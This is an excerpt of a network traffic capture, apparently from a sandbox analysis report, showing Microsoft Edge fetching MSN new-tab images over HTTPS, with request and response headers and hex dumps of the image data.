79	192.168.2.5	49851	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG4y.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Tue, 09 Jul 2024 08:06:22 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG4y X-Source-Length: 95919 X-Datacenter: eastap X-ActivityId: fff95c2e-283a-41ed-bb6f-9f72c6985d88 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 95919 Cache-Control: public, max-age=358177 Expires: Sun, 03 Nov 2024 20:36:20 GMT Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: fa ff 00 f7 69 ea ce 7b bd 0f 86 bd dc 79 b4 ad 5a 47 78 f2 6e 52 56 a0 06 98 e0 3e 8f ab b5 d1 2f 5e 5f c4 f6 7f 4a 4f dd 04 0e 4e af cb a4 4f 89 c7 59 f8 74 90 56 a1 a7 93 d7 58 e9 ad a6 34 83 4c 63 73 d8 55 95 0f b0 3c eb 96 cc 19 c4 3c 2e 77 2b de b6 98 4c 67 68 e6 ae a8 94 ca 68 9d cf 34 db 27 31 bf b7 37 d1 a0 5b b6 09 5a 12 a2 4e fa fb 3a fe ce a9 d2 07 20 6a 7d df 44 ba e8 c6 cd f5 65 58 e8 97 7b 01 33 fc c0 44 6f 65 5d e9 0f 4e 64 27 e7 ea f4 ee 08 3a ad 2f 41 fc 34 f4 c4 bc f5 f5 2a 41 8b ab 2a 23 f0 1a 79 8f 93 37 95 ff 00 4e a5 c7 1c 7f d4 cb 7d 62 fa 72 0d c0 a8 22 04 a7 2e 4d d7 be 25 65 62 89 9d e0 87 81 d4 75 26 f1 ae 1e 7e 4f 33 49 39 3b fb 78 de f6 6a b3 bf 25 9d a7 78 e9 bf 5a 98 ee a2 36 c4 38 8e bd 48 55 54 39 0c 7f ab e7 86 b4 72 7e Data Ascii: i{yZGxnRV>/^_JONOYtVX4LcsU<<.w+Lghh4'17[ZN: j}DeX{3Doe]Nd':/A4A#y7N}br".M%ebu&~O3I9;xj%xZ68HUT9r~
2024-10-30 17:06:43 UTC	2590	IN	Data Raw: 9c 7f c7 09 d7 7f 21 a5 35 da fe 95 aa 3f 31 6a 51 62 52 af c0 3d 9d 10 b3 f9 61 d8 59 e6 5c 4d c3 cd d2 50 d0 bd c5 df 84 ae 4c 4f d6 5b f1 7c 1f 11 3e 24 4e 8c ff 00 af 2c 59 7a cf 2f 66 f7 47 67 8d a2 73 0f de 17 0f 67 0d 6a df e4 ef c5 56 ff 00 26 77 1d 92 f0 bb 51 d1 b3 db b0 71 f1 55 bf c9 c7 c4 56 f6 77 3e cb f0 d2 31 04 b8 e9 47 3f 3f ab af 11 5f 89 c7 5a b7 fa 33 b9 23 dd fc 1e f3 f5 7e 94 7f e9 b8 19 de d7 56 c8 cd 49 1f 90 79 bf 6b fe 50 d4 e9 be c3 6f 94 7c 79 05 3d 51 54 0e f8 0a fa fa 3e 3c 48 7f 4a ff 00 90 5b 94 da 5f 14 fa 7d 4b f9 b7 6e de ef 1f 73 bf f0 fa 27 c0 d5 1d 45 ea 99 55 b4 9f 3a f9 bf a1 49 7f 35 f8 19 9b fc 2d ac 70 1a 92 7e 6f e9 4f 4c 7c 0a f9 97 c7 bf f9 09 ff 00 eb 4f aa 9f 0b fb 7a 3e e7 e3 a2 3a 90 77 db 4f aa 83 e1 77 Data Ascii: !5?1jQbR=aY\MPLO[\|>$N,Yz/fGgsgjV&wQqUVw>1G??_Z3#~VIykPo\|y=QT><HJ[_}Kns'EU:I5-p~oOL\|Oz>:wOw
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 6c 90 7e 72 74 de c2 9d 39 3a 6f 64 a7 4f cf cd 96 9e 7e 7e 7e 6f 64 f3 b7 4f cc d8 5c c3 94 b5 ba 6c 25 2e 2f cf cd 92 dd 39 3f 33 64 8b f3 93 a6 6c 3c fd 27 7b a7 e6 07 9f 9d 3f 30 2d f9 d3 f3 65 a5 bf 3a 75 2d ec 69 27 87 f1 40 15 d0 df e4 90 7d 94 1e d4 bc 6f 89 d7 a2 ea 3f 83 e6 1a b4 e4 71 3f f1 f4 cf 52 b3 f8 6d 9f 32 03 fa 83 f9 67 c0 0f fe 5a 86 fb 6a f5 05 fd 52 0e e2 d4 a2 c4 5e 5f 5e bf 0f a4 be af ff 00 19 1f e6 a7 cd eb 46 c7 cb fc 70 e8 e8 95 50 75 29 03 ce 7e 4c d8 91 c9 7c 01 20 f5 4a 57 e1 b6 af 32 03 fa 93 f9 e7 fc 75 00 9b ea e4 81 3c 49 3f 27 f4 58 1b fd 59 29 d8 a7 16 c8 fe 61 e7 f4 70 83 bc 37 b4 f1 53 8b bd 2a 72 16 d6 59 b1 a4 1c 5b 0d a5 0c da f4 1d ec d8 d2 9c 65 cb 47 37 7e 19 66 cf 45 b8 b9 94 1e 6e 30 ae 0d 6e 1e a8 7b c9 d7 Data Ascii: l~rt9:odO~~~odO\l%./9?3dl<'{?0-e:u-i'@}o?q?Rm2gZjR^_^FpPu)~L\| JW2u<I?'XY)ap7S*rY[eG7~fEn0n{
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 77 48 dd 5f a3 ce 36 94 95 6f 19 f2 64 04 19 4d 0a 89 dd 80 1c 5a d4 9d ca dc 8a 16 e5 5a 48 20 52 78 1d 91 9c b1 45 aa f7 44 57 13 58 0f a8 52 40 04 ea 49 38 81 38 b1 55 11 48 01 b9 f2 53 b8 86 48 09 3d c5 53 31 22 bb 5c 16 b2 a2 41 31 50 38 55 a5 64 1c 28 40 89 e5 be 99 30 4a cc d7 36 b5 6d 67 6e 9a 7a ab 14 32 23 96 18 38 2a dd b8 00 1d 27 9d 68 c2 d5 15 f4 72 17 0c cf 6a 37 ab d1 9d a4 9e e5 c2 37 7d 1e a5 92 bb 85 26 45 28 46 ee 67 93 c8 58 b7 cf 19 99 6d 08 ba 90 34 9a 67 c1 ef ad cf f5 44 c9 d5 2d 65 11 0a 04 80 5e 69 ba 6b de a6 13 cd 80 67 33 fb b1 2e 5c dd ec f9 f8 69 bf 2d 8e 37 a2 6b c1 8a 6e 95 3c 85 ad 5e de d5 ab 7d 9d 77 7b a3 2a ec 7d 13 19 19 6f 6d 04 05 12 71 88 c9 97 e1 a0 77 94 a2 92 aa 94 8c 18 61 4a b4 9c 7d b0 e3 cd e7 ae ea 95 59 Data Ascii: wH_6odMZZH RxEDWXR@I88UHSH=S1"\A1P8Ud(@0J6mgnz2#8'hrj77}&E(FgXm4gD-e^ikg3.\i-7kn<^}w{}omqwaJ}Y
2024-10-30 17:06:43 UTC	7952	IN	Data Raw: 03 20 ee a7 36 b6 0a 5f e2 9a 12 20 70 cf 73 49 ba 4d 04 bd 53 68 10 60 60 38 cb c1 5c 93 15 8e 54 79 f9 31 61 44 03 24 cf 10 e8 25 35 c4 9e 65 87 a5 39 06 c0 ac 33 6f 44 27 4e 99 ef 12 04 9e 7e 85 ad 17 14 09 27 3e d0 fc 14 a9 9c 31 07 9b b2 35 7e 68 8e d8 b4 06 db b8 46 27 0c bf 67 b8 be a9 5a 53 5d 31 80 c2 3f ab e5 2b 88 a6 ee db b9 b9 a1 5a 8e 75 e7 db 37 9d c7 6d 39 69 da 27 aa 4a d0 a2 b3 e2 15 6e ca 23 f1 70 8c 19 76 51 6e f9 25 29 00 8a d7 13 18 fb 63 c1 f3 bd 35 92 71 20 0a 57 70 e5 0f ab 45 b1 66 57 66 e6 a2 04 1a 7f 47 8d ed b9 1a ce fe 7c 17 fa 9b 96 8e 95 28 1c b0 23 63 c5 b9 d4 6b b9 09 c3 0e 43 b7 07 a8 bf 16 f2 aa 12 66 a4 c7 6a 36 5a e9 96 12 7f b6 90 33 94 87 7d a3 3b bf ab 1b 5e 00 ea d8 5e ba 7a 6b b7 52 08 56 94 6f 51 f2 64 7e 9a c8 Data Ascii: 6_ psIMSh``8\Ty1aD$%5e93oD'N~'>15~hF'gZS]1?+Zu7m9i'Jn#pvQn%)c5q WpEfWfG\|(#ckCfj6Z3};^^zkRVoQd~
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 75 0c 66 5f 1f db d4 ee eb fb 9d f7 02 75 dd 4a 7a 64 f8 09 1a 52 2d db 95 05 09 23 4c 80 a0 05 14 55 32 93 4c df 0e ab 9e 0a 50 4a 81 50 29 21 20 03 03 30 a7 d4 f5 5d 39 ea d3 73 a8 b5 6d 6a 4a 54 3c 44 d1 54 40 a1 91 a4 d4 62 2a 5f 11 72 fd b4 5d 25 16 d3 14 ee 99 00 1e 00 fc df 47 c7 35 35 d7 ab 1c ee ee fa 74 74 89 ea 6d eb 5d 11 a8 98 4d 62 99 49 02 49 e3 bd df 4b d5 78 61 49 d0 a5 a7 bc 94 8d 21 41 44 e4 a9 c8 45 5f 2e 7a 83 78 d7 45 b4 8c 02 53 f3 aa 8e d2 cb b2 2f 5d 3e 1d 92 a3 89 90 0c 40 ae 55 0f 5d 33 3b a9 4d 8b 88 2b d1 e1 dd d2 0f 77 ba 89 98 8d 11 89 19 82 30 c1 f3 55 7d 9d 9e 9a e1 04 2f c2 50 59 00 95 4a 94 6b f7 01 b0 b9 5e f8 75 a5 14 f8 4a d0 55 5d 2b 34 8c f0 07 4d 70 c9 e9 2a 1c 43 90 30 f5 ee f4 57 2d 02 b5 a6 83 1d 24 18 ac 4e f8 Data Ascii: uf_uJzdR-#LU2LPJP)! 0]9smjJT<DT@b_r]%G55ttm]MbIIKxaI!ADE_.zxES/]>@U]3;M+w0U}/PYJk^uJU]+4MpC0W-$N
2024-10-30 17:06:43 UTC	3976	IN	Data Raw: 61 9e d2 c5 2b d6 a1 f9 52 0c c3 b5 29 32 74 e1 95 73 7b 20 d0 77 6e c5 b5 34 cc 76 c1 8f aa 25 23 87 f5 7e 49 d5 49 e3 2e 94 71 55 71 da e9 22 bb b1 ae 5e de 8d a9 01 23 09 e7 12 dc 10 92 a4 92 4c 9c 07 6c 98 41 91 6e 4f 7a 83 09 a6 3f 37 aa 9b 69 b4 92 a2 75 6e 03 09 23 2a c3 6a 50 9e f2 4e 3f 8b e5 51 8e f7 02 09 14 39 e5 11 03 3f 93 a2 43 49 31 aa 9f 84 7f 56 f4 04 56 bc 66 a6 36 83 c7 26 25 c5 89 02 72 1b e7 80 f9 64 e0 a2 92 a8 c0 0e 78 ce 79 b4 67 85 81 12 ac e3 f3 61 38 d2 83 63 65 ce a1 1d d4 a2 b4 00 4d 72 dd 88 f7 79 25 15 c4 91 84 13 4e 2d 7a 27 55 30 aa 88 e7 97 ee c0 31 4a 93 24 98 34 10 6a e3 aa 23 bf 26 33 c4 72 8c fd 18 96 50 0d c4 a4 61 39 9c 06 f7 05 fd ea ca 14 40 e1 c5 b4 8d d4 60 9d 9c 8f cb 63 92 14 16 52 85 a8 c1 dd f5 ae 6f 26 b8 Data Ascii: a+R)2ts{ wn4v%#~II.qUq"^#LlAnOz?7iun#*jPN?Q9?CI1VVf6&%rdxyga8ceMry%N-z'U01J$4j#&3rPa9@`cRo&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49849	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=174021 Expires: Fri, 01 Nov 2024 17:27:04 GMT Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49854	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=288866 Expires: Sun, 03 Nov 2024 01:21:09 GMT Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49852	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=314769 Expires: Sun, 03 Nov 2024 08:32:52 GMT Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49850	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT X-Datacenter: eastus X-ActivityId: 61ab6469-9341-48ba-9f88-168ba59245cb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=61234 Expires: Thu, 31 Oct 2024 10:07:17 GMT Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49853	23.47.50.173	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 122e5b03-c16c-459e-8b9c-8d95bfdcdb0f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 Content-Length: 42413 Cache-Control: public, max-age=121960 Expires: Fri, 01 Nov 2024 02:59:23 GMT Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	15865	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 38 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 Data Ascii: 8"/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" 